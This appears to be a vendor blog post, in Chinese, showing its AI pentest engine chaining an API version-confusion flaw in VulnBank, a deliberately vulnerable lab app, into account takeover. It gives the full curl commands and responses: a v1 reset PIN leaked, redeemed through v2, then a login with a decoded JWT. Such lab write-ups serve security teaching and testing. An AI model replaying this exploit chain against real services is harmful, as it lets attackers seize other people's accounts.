我们的 AI 引擎 Neutron 在加州大学伯克利分校的 CyberGym 基准测试中取得了 96.75% 的成绩。 了解更多

安全

安全

AI 引擎通过 API 版本混淆触发账户接管

在 Ostorlab 的 AI 引擎发现跨版本密码重置弱点并在无需邮箱访问的情况下实现账户接管时,有条理的分析胜过了盲目的模糊测试。

在一次 AI 渗透测试引擎的现场演示中,有人抛出了那种"是啊,但它真能做到这个吗?"式的问题:

"它真的能找到一个导致账户接管的 API 版本混淆漏洞吗?"

我们手头并没有现成的故事可讲,于是我们把引擎指向了那个含有漏洞的目标——这里用的是 VulnBank,一个由 Al-Amir Badmus 编写的、刻意设计成易受攻击的银行应用——然后让它自己去跑。返回的结果恰恰是那种你希望只存在于训练实验室、而不会出现在生产应用中的东西:一个密码重置版本混淆缺陷,只需一个用户名就能接管账户。

让我们一步步看看发生了什么。

背景设定:v1 很糟,v2 很好……对吧?

VulnBank 在两个 API 版本上暴露了密码重置流程:

  • POST /api/v1/forgot-password
  • POST /api/v2/forgot-password
  • POST /api/v1/reset-password
  • POST /api/v2/reset-password

OpenAPI 规范甚至直接告诉你这是怎么回事:

  • v1:"完整数据暴露",debug_info 中包含 3 位数的重置 PIN。
  • v2:"数据暴露减少",PIN 不被暴露,debug_info 不存在。

所以在纸面上:

  • v1 = "遗留、会泄露、别在生产环境中用它"。
  • v2 = "已修复、崭新、安全得多"。

只不过,两个版本共享同一套后端状态:相同的 PIN 存储、相同的用户、一切都相同。而乐趣正是从这里开始的。

AI 如何处理它(以及为什么这很重要)

大多数扫描器看到"3 位数 PIN"会就弱熵问题嚷嚷 2 秒钟,然后转头去处理接下来的 500 个端点。

而 AI 引擎做了一些更……像人的事:

1. 解析 OpenAPI 规范

它获取了 openapi.json,查找任何与密码重置相关的内容,找到了 /api/v{version}/forgot-password 和 /api/v{version}/reset-password。

2. 注意到不同版本间的行为差异

规范明明白白地写着:

  • v1:debug_info 中包含 PIN。
  • v2:PIN 不被暴露,debug_info 消失。

这是一个重大危险信号:相同的功能、不同的安全特性、相同的后端。

3. 形成假设

"如果两个版本共享后端状态,而其中一个泄露了 PIN,那么我能不能在 v1 上发起、在 v2 上兑现?"

4. 系统性地验证该假设

没有模糊测试风暴,没有"我们就一直猛敲到它崩溃为止"。只有少量精心挑选的请求,每一个都有明确的目标。

关键的区别在于理解架构,而不仅仅是理解端点——这正是传统模糊测试与一个由推理驱动的引擎分道扬镳之处。

引擎实际是怎么做到的:实证

让我们来看看实际的 AI 工具执行过程,即证明这个漏洞的真实命令与响应。

风险情报输出

引擎的风险情报步骤标记出了以下风险:

跨 POST /api/v1/reset-password 和 POST /api/v2/reset-password 的密码重置版本混淆:对两个版本分别进行测试,看 v1 中更弱的校验/交互体验能否被滥用,诱骗用户进行不安全的重置,而 v2 则更强。比较速率限制、令牌生命周期/格式、错误提示信息,以及是否存在混合版本流程(在 v1 上发起、在 v2 上兑现,或反之)。确保旧端点已被淘汰,或强制实现一致性并提供清晰的用户提示。

下面是引擎如何系统性地验证这一风险。

系统提示词:初始侦察

获取并解析 OpenAPI 规范,以枚举密码重置端点。

操作:向 https://vulnbank.org/static/openapi.json 发送恰好一个 GET 请求,使用类浏览器的 User-Agent,基于 HTTP/1.1 keep-alive。在本任务中不要跟随重定向,也不要发出任何额外请求。速率保持在 <5 rps。

需捕获的证据:保存本次单次获取的完整原始 HTTP 请求与响应(状态、头部和正文)。

解析目标(仅从 JSON 中获取,不发起更多网络调用):枚举所有与密码重置相关的路径,包括发起和兑现/确认环节。具体查找:/api/v1/reset-password 和 /api/v2/reset-password(方法、请求体 schema、email/captcha/MFA 令牌等必填字段);任何确认/兑现端点(例如 /api/v1/reset-password/confirm、/api/v2/reset-password/confirm);任何替代或类似的路径。对于每个发现的端点,记录:HTTP 方法、请求体 schema(字段名、类型、必填标志)以及示例载荷(如有)、响应码及示例/错误信息、文档中注明的安全要求,以及 v1 与 v2 之间任何版本特有的差异。

使用工具:curl

参数:

curl_args: -sS -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" --http1.1 -D - -o - -v https://vulnbank.org/static/openapi.json

输出:

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:21:20 GMT
Content-Type: application/json
Content-Length: 44061
Connection: keep-alive
Content-Disposition: inline; filename=openapi.json
Last-Modified: Mon, 13 Oct 2025 18:26:24 GMT
Cache-Control: no-cache
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=xGVbpMhRS34xZfjqdwOxLDgRUnOpqgDl7wUbKBP2gRog2Kaj0VPc9IvnPUqyGqCWx5jYshRIuONIdltkxgmILrGXGq0DukPtK3WMDg%3D%3D"}]}
CF-RAY: 99acca323ca1d3b1-FRA
alt-svc: h3=":443"; ma=86400

{
  "openapi": "3.0.0",
  "info": {
    "title": "Vulnerable Bank API",
    "description": "API documentation for the deliberately vulnerable banking application",
    "version": "1.0.0",
    "contact": {
      "name": "Vulnerable Bank Support",
      "url": "https://github.com/Commando-X/vuln-bank"
    }
  },
  "servers": [
    {
      "url": "https://vulnbank.org",
      "description": "Controlled Production Server"
    }
  ],
  "tags": [
    {
      "name": "authentication",
      "description": "Authentication related endpoints"
    },
    {
      "name": "transactions",
      "description": "Transaction management endpoints"
    },
    {
      "name": "users",
      "description": "User management endpoints"
    },
    {
      "name": "admin",
      "description": "Administrative endpoints"
    },
    {
      "name": "virtual-cards",
      "description": "Virtual card management endpoints"
    },
    {
      "name": "bill-payments",
      "description": "Bill payment operations"
    },
    {
      "name": "ai-agent",
      "description": "AI Customer Support Agent (Intentionally Vulnerable)"
    },
    {
      "name": "internal",
      "description": "Internal-only endpoints for SSRF demonstration"
    }
  ],
  ...
}

从 OpenAPI JSON 中得出的解析结果:

服务器/基础 URL:https://vulnbank.org(描述:Controlled Production Server)。所有枚举到的端点都位于范围内的根主机之下。

与密码重置相关的端点(通过路径参数 {version} ∈ {1,2} 进行版本化):

发起:/api/v{version}/forgot-password(POST)

概要:请求密码重置(版本化)

描述:生成 3 位数重置 PIN。规范注明了数据暴露方面的版本差异(v1 更敏感,v2 更少;v2 不在响应中暴露 PIN)。

路径参数:version(in: path,必填,整数,枚举 [1,2],默认 2)

请求体(application/json,必填):schema: object;properties:username: string;对象内部字段没有显式的 required[] 数组(只有整体的 requestBody.required = true)

响应:200:重置 PIN 已生成;schema:object,properties:status(string)、message(string)、debug_info(object);注意:debug_info 描述为:"v1: Contains extensive sensitive information including PIN. v2: Less sensitive information, PIN not exposed." 404:用户未找到(表明可能通过状态码/消息进行用户枚举)

安全:未指定安全方案(按规范属公开端点)

兑现/确认:/api/v{version}/reset-password(POST)

概要:使用 PIN 重置密码(版本化)

描述:使用 3 位数 PIN 重置密码。数据暴露方面存在版本差异(v1 包含敏感的调试信息,包括所用 PIN;v2 则不包含)。

路径参数:version(in: path,必填,整数,枚举 [1,2],默认 2)

请求体(application/json,必填):schema: object;properties:username: string、reset_pin: string(pattern: ^\d{3}$)、new_password: string;对象内部没有显式的 required[] 数组(只有整体的 requestBody.required = true)

响应:200:密码重置成功;schema:object:status(string)、message(string)、debug_info(object);注意:debug_info 描述为:"v1: Contains extensive debug information including used PIN. v2: Not present." 400:重置 PIN 无效

安全:未指定安全方案(按规范属公开端点)

由 {version} 占位符推导出的具体版本化路径:POST /api/v1/forgot-password、POST /api/v2/forgot-password、POST /api/v1/reset-password、POST /api/v2/reset-password

文档中注明的版本特有差异(来自规范文本):v1(较旧) 会暴露敏感的 debug_info,其中可能包含重置 PIN 及其他细节。v2(较新) 减少了数据暴露;PIN 不在响应中暴露,且成功重置时不存在 debug_info。

关键发现:OpenAPI 规范明确记载了 v1 会在响应中暴露 debug_info.pin 而 v2 不会,这实际上等于公开宣告了安全降级路径。

阶段 1:等等,你是不是把 PIN 放进响应里了?

首先,引擎测试了规范所暗示的内容:v1 是否真的会泄露 PIN?

系统提示词:测试 v1 信息泄露

为账户 A 发起 v1 密码重置并捕获完整证据。

操作:向 https://vulnbank.org/api/v1/forgot-password 发送恰好一个 POST,头部为 {Content-Type: application/json},正文为 {"username":"testA_vconf_01"}。速率保持在 <5 rps 且不要重试。

需记录的证据:原始 HTTP 请求与响应(状态、所有头部,包括任何速率限制/CORS/调试头部)、完整的 JSON 正文。

预期结果:确定 v1 是否通过响应中的 debug_info 泄露 3 位数重置 PIN(如存在,逐字记录该 PIN)。

使用工具:curl

参数:

curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  -X POST "https://vulnbank.org/api/v1/forgot-password" \
  -H "Content-Type: application/json" \
  --data '{"username":"testA_vconf_01"}' \
  -D - -o -

输出:

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:31:12 GMT
Content-Type: application/json
Content-Length: 228
Access-Control-Allow-Origin: *

{
  "debug_info": {
    "pin": "388",
    "pin_length": 3,
    "timestamp": "2025-11-07 12:22:57.378546",
    "username": "testA_vconf_01"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}

关键发现:响应直接在 debug_info.pin 中暴露了重置 PIN。仅凭一个用户名,攻击者就能获取 PIN,而完全无需触碰受害者的邮箱。

通配符 CORS 策略使问题雪上加霜:任何网站都能触发该请求并读取响应。即便没有这种泄露,3 位数的 PIN 空间(000-999)也极易被暴力破解。该响应还会确认有效的用户名,从而使枚举攻击成为可能。

所以:

  • 3 位数的重置 PIN 就明摆在 debug_info.pin 中。
  • 我们只需要 用户名。
  • 该 API 的 CORS 完全开放(Access-Control-Allow-Origin: *),因此任何恶意站点都能从受害者的浏览器触发该请求,并在 JavaScript 中读回 PIN。

无需访问邮箱,无需钓鱼链接,除了处于登录状态并访问一个恶意页面之外,无需任何用户交互。单凭这一点,就已经是一条严重的账户接管路径。

阶段 2:兑现 v1 PIN 以实现账户接管

系统提示词:确认可利用性

为账户 A 兑现 v1 重置 PIN,以验证 v1 PIN 泄露的可利用性。

操作:向 https://vulnbank.org/api/v1/reset-password 发送恰好一个 POST,正文为:{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}。仅尝试一次。

预期结果:确认泄露的 v1 PIN 能够重置账户 A 的密码,证明实际可行的账户接管(ATO)。

使用工具:curl

参数:

curl -sS -i --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -X POST "https://vulnbank.org/api/v1/reset-password" \
  -H "Content-Type: application/json" \
  -H "Connection: keep-alive" \
  --data '{"username":"testA_vconf_01","reset_pin":"388","new_password":"Tmp!Pass#A1"}'

输出:

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:33:27 GMT
Content-Type: application/json
Content-Length: 243
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=Q%2BcQ5yGSX6r8390cSNwy9wykYa2YMUpMBvBph5sOKgLcMUjnVsMc2nVsujuibpoQ16DME9mFqO%2FIkNXrjGIWpEMPxMbhGeRNrdCFZg%3D%3D"}]}
CF-RAY: 99acdbf43a805d49-FRA
alt-svc: h3=":443"; ma=86400

{
  "debug_info": {
    "reset_pin_used": "388",
    "reset_success": true,
    "timestamp": "2025-11-07 12:25:12.976952",
    "username": "testA_vconf_01"
  },
  "message": "Password has been reset successfully",
  "status": "success"
}

密码重置成功。v1 接受了泄露的 PIN,并在没有任何邮箱验证的情况下更改了密码。响应以 reset_success: true 确认了该操作,甚至在 debug_info.reset_pin_used 中回显了 PIN。

到了这一步,我们已经证明仅 v1 就是可被利用的。用户名加上泄露的 PIN 就等于账户接管。但有趣的问题在于,v2 是否也存在同样的缺陷。

阶段 3:测试跨版本接受(关键发现)

系统提示词:测试版本混淆

测试 v2 的兑现端点是否接受由 v1 签发的 PIN,这将表明后端状态是共享的,且没有强制实施版本边界。

测试序列: 1. 为 testB_vconf_01 在 v1 上发起密码重置(获取泄露的 PIN) 2. 尝试通过 v2 兑现端点兑现由 v1 签发的 PIN

假设:如果成功,攻击者就可以在利用 v1 泄露的同时使用 v2 的接口,绕过任何客户端加固措施。

步骤 1:为账户 B 发起 v1 重置

使用工具:curl

参数:

curl -sS -v --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -X POST "https://vulnbank.org/api/v1/forgot-password" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -H "Connection: keep-alive" \
  --data '{"username":"testB_vconf_01"}' \
  -D - -o -

输出:

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:40:12 GMT
Content-Type: application/json
Content-Length: 228
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=G7Kqftl8cVngY46mK76PSPR8TjpqT%2Fdjc5KTJ%2BaaDXEBmeb%2BEBenfdKUF4LZAojIiaIYWKXhIDEFvlNoZZmSysyWGYbPIqAMpczTFg%3D%3D"}]}
CF-RAY: 99ace5d8da6ebb1b-CDG
alt-svc: h3=":443"; ma=86400

{
  "debug_info": {
    "pin": "223",
    "pin_length": 3,
    "timestamp": "2025-11-07 12:31:58.190715",
    "username": "testB_vconf_01"
  },
  "message": "Reset PIN has been sent to your email.",
  "status": "success"
}

提取到的 v1 PIN:223

步骤 2:通过 v2 端点兑现 v1 PIN(跨版本攻击)

使用工具:curl

参数:

curl -sS --http1.1 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -X POST "https://vulnbank.org/api/v2/reset-password" \
  -H "Content-Type: application/json" \
  -H "Accept: application/json" \
  -H "Connection: keep-alive" \
  --data '{"username":"testB_vconf_01","reset_pin":"223","new_password":"Tmp!Pass#B1"}' \
  -D - -o -

输出:

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:41:22 GMT
Content-Type: application/json
Content-Length: 80
Connection: keep-alive
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=tPZNfCsblxfbMaoEi50%2FYgP3Dyl3NXIbm%2FbExP7sBEAqmaahb0wZhEUNXtqSGlS1dimQC06PrhN%2BgHA%2BKD2x966EbFFP1Y1DMarIuw%3D%3D"}]}
CF-RAY: 99ace78c3af0924d-FRA
alt-svc: h3=":443"; ma=86400

{
  "message": "Password has been reset successfully",
  "status": "success"
}

v2 接受了该 PIN。尽管 v2 的设计初衷是修复 v1 的数据泄露,它的重置端点仍然会处理由 v1 签发的 PIN。至此,攻击链已经完整:通过 v1 请求重置以泄露 PIN,再通过 v2 兑现它以绕过任何客户端保护措施。

这正是版本混淆漏洞的核心问题。两个 API 版本共享同一套后端 PIN 存储,但它们强制执行着不同的安全控制。攻击者可以轻而易举地混搭:在 v1 薄弱之处使用 v1,在 v2 强健之处使用 v2。版本划分制造了一种安全边界的假象,而这种边界在实现层面并不存在。

阶段 4:验证——完整的账户接管证明

系统提示词:验证账户接管

通过使用经由 v2 设置的新密码登录,验证针对账户 B 的混合版本兑现是否已生效。

操作:向 https://vulnbank.org/login 发送恰好一个 POST,头部为:Content-Type: application/json;类浏览器的 User-Agent;Connection: keep-alive。正文 JSON:{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}。速率保持在 <5 rps;仅尝试一次。

需逐字捕获的证据:完整的原始 HTTP 请求与完整的原始 HTTP 响应(状态、所有头部,包括任何 Set-Cookie 和 Access-Control-Allow-*,以及完整的 JSON 正文)。

预期结果:成功登录(200 成功并带有有效令牌)表明 v2 对 v1 PIN 的接受导致了一次真实的密码更改。成功后,提取令牌、判断其是否为 JWT,并在本地解码其头部/载荷,以确认声明(claims)与账户 B 相符。

使用工具:curl

参数:

curl -sS --http1.1 -i -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" \
  -H "Content-Type: application/json" \
  -H "Connection: keep-alive" \
  -X POST "https://vulnbank.org/login" \
  --data '{"username":"testB_vconf_01","password":"Tmp!Pass#B1"}'

输出:

HTTP/1.1 200 OK
Date: Fri, 07 Nov 2025 12:43:06 GMT
Content-Type: application/json
Content-Length: 501
Connection: keep-alive
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Access-Control-Allow-Origin: *
Server: cloudflare
cf-cache-status: DYNAMIC
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=VbrIMCsVFv4mkFtw%2FZPjNJMVtH8dELhrPGiY3jiVR6fT7G63HAaGXj%2B3P5z8zGS9gNRqqnzvka7L5cQ%2FSATUkkY87SWWVqM0KJntZA%3D%3D"}]}
Set-Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0; HttpOnly; Path=/
CF-RAY: 99acea17dacb6f99-CDG
alt-svc: h3=":443"; ma=86400

{
  "accountNumber": "6235161082",
  "debug_info": {
    "account_number": "6235161082",
    "is_admin": false,
    "login_time": "2025-11-07 12:34:52.147690",
    "user_id": 46,
    "username": "testB_vconf_01"
  },
  "isAdmin": false,
  "message": "Login successful",
  "status": "success",
  "token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0NiwidXNlcm5hbWUiOiJ0ZXN0Ql92Y29uZl8wMSIsImlzX2FkbWluIjpmYWxzZSwiaWF0IjoxNzYyNTE4ODkyfQ.La_TBdG8Sv2tPiNK4XgmLZR1ek7wwvoztvs9slBMzw0"
}

令牌分析:令牌格式 为 JWT(三段 base64url)。解码后的头部:{"typ":"JWT","alg":"HS256"}。解码后的载荷:{"user_id":46,"username":"testB_vconf_01","is_admin":false,"iat":1762518892}。声明相符:账户 B(user_id 46,username testB_vconf_01)。

登录成功。密码已通过跨版本攻击成功更改,JWT 确认我们现在控制了该账户。

完整的攻击只需要一个用户名。无需访问邮箱,无需用户交互,无需暴力破解。在 v1 上请求重置、从响应中提取 PIN、在 v2 上兑现、完成身份验证。四个 HTTP 请求,不到 30 分钟的测试。

攻击的净成本:

  • 所需输入:仅用户名。
  • 用户交互:无。
  • 请求数:
  • v1 forgot-password → 泄露 PIN
  • v2 reset-password → 设置密码
  • login → 验证接管
  • 耗时:在不到 30 分钟的定向探测中被发现。

为什么会发生这种情况:以命名约定充当信任边界

根本问题不仅仅是"你泄露了一个 PIN"(尽管这确实很糟)。问题在于团队围绕 API 版本划分所持有的思维模型:

  • v1:"旧东西,可能有点不靠谱"。
  • v2:"已修复且安全"。

但现实是:

  • 两个版本都在与同一套 PIN 存储 通信。
  • 两个版本都在处理同一批 用户账户。
  • 只有一个版本得到了 安全修复。

于是你创造出了一个看上去像安全边界的东西——"用 v2,它更安全"——而底层的信任边界其实根本没有改变。

这是一个更宽泛的模式:

  • 某个安全敏感流程存在多个版本(密码重置、MFA、令牌、会话)。
  • 一个版本得到了加固;旧的那个仍然存留,有时是"为了兼容性"。
  • 两者共享后端状态。
  • 攻击者混搭:使用 v1 中薄弱的部分,使用 v2 中便利的部分。

这里的 OpenAPI 规范甚至宣传了降级路径:

  • "v1: debug_info includes PIN"
  • "v2: no PIN exposure"

如果你发布了这些内容,却没有在后端严格区分行为,那么你基本上就是在交付你自己的攻击攻略。

为什么单靠模糊测试常常会错过它

传统扫描器往往会:

  • 用大量载荷轰炸端点。
  • 标记出唾手可得的问题(弱熵、缺少身份验证等)。
  • 在很大程度上孤立地看待每个端点。

而这个漏洞无关于:

  • 某个古怪的边缘情形解析器问题,
  • 某个离奇的 HTTP 走私小装置,
  • 或某种只有搭上 6 个代理再献祭一头山羊才能复现的东西。

它关乎的是关系:

  • 同一个用户。
  • 同一个 PIN。
  • 同一流程的两个版本,却有着不同的保证。

AI 引擎是这样找到它的:

  1. 像人一样阅读 OpenAPI 规范。
  2. 发现 v1 和 v2 在安全方面行为不同。
  3. 自问:"它们是否共享状态?"然后证明它们确实如此。

如果你的测试策略不去推理跨版本的流程,这些漏洞就会心安理得地明摆在那里。

更高层面的启示:有针对性的推理胜过盲目乱撞

整个漏洞的发现源自一个简单的思考过程:

  1. 规范说有 2 个版本。
  2. 规范说它们在安全方面行为不同。
  3. 令牌似乎是共享的。
  4. 试着把它们混起来。

没有庞大的字典文件。没有数小时的模糊测试。只有理解,以及少数几个精心挑选的 HTTP 请求。

如果你正在以任何规模构建或测试 API,你会希望有这种思维方式——无论是人还是机器——站在你这一边。